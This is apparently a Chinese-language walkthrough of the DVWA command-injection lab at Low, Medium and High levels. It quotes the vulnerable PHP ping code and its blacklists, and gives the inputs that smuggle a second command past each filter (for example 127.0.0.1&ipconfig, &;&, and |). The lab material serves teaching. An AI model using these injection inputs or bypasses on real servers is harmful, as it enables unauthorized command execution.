目录
1、级别:Low
DVWA乱码问题的解决办法:
2、级别:Medium
3、级别:High
漏洞原理
当服务器未对可控输入的参数进行严格的过滤时,攻击者可以使用命令注入来执行系统终端命令,直接接管服务器的控制权限。
逻辑运算符
&&:代表首先执行命令a,若成功再执行命令b,又被称为短路运算符。
&:代表首先执行命令a再执行命令b,不管a是否成功,都会执行命令b。在执行效率上来说“&&”更加高效。
||:代表首先执行a命令再执行b命令,只有a命令执行不成功,才会执行b命令。
|:代表首先执行a命令,在执行b命令,不管a命令成功与否,都会去执行b命令。
(当第一条命令失败时,它仍然会执行第二条命令,表示A命令语句的输出,作为B命令语句的输入执行。)
是一个执行ping命令的界面
看一下源代码,对输入的内容没有进行任何的过滤
{$cmd}
";
}
?>
输入127.0.0.1&ipconfig
可以看到ipconfig已经被成功运行了
DVWA乱码问题的解决办法:
到DVWA安装目录下(.../WWW/DVWA-master/dvwa/includes)寻找文件dvwaPage.inc.php
打开这个文件,然后在全文查找charset=utf-8,将所有utf-8修改为gb2312。
注意:有好几处charset=utf-8,要全部修改成charset=gb2312。记得保存。
接下来再使用DVWA就不会乱码啦。
亲测好用!!!
执行 127.0.0.1&&net user,也能成功完成命令~
net user显示本地计算机上所有用户的列表
查看源代码
'',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}
";
}
?>
str_replace() 函数替换字符串中的一些字符(区分大小写)
str_replace(find,replace,string,count)
array_keys() 函数返回包含数组中所有键名的一个新数组
array_keys(array,value,strict)
服务器端对ip参数的”&&” 、”;”做了一定过滤,但是并没有过滤"&"
执行 127.0.0.1&net user
同时,查看源码我们可以知道,它是把”&&” 、”;”用空格替代了,所以可以利用127.0.0.1&;&ipconfig 的方式进行绕过,等同于127.0.0.1& &ipconfig
老规矩看源代码= =
'',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the characters in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}
";
}
?>
看呐把所有的都给过滤了,但是,好像有什么奇妙的发现
| 的后面居然有一个空格,那岂不是又给我们使用 | 留下空挡了吗哈哈
输入 127.0.0.1|ipconfig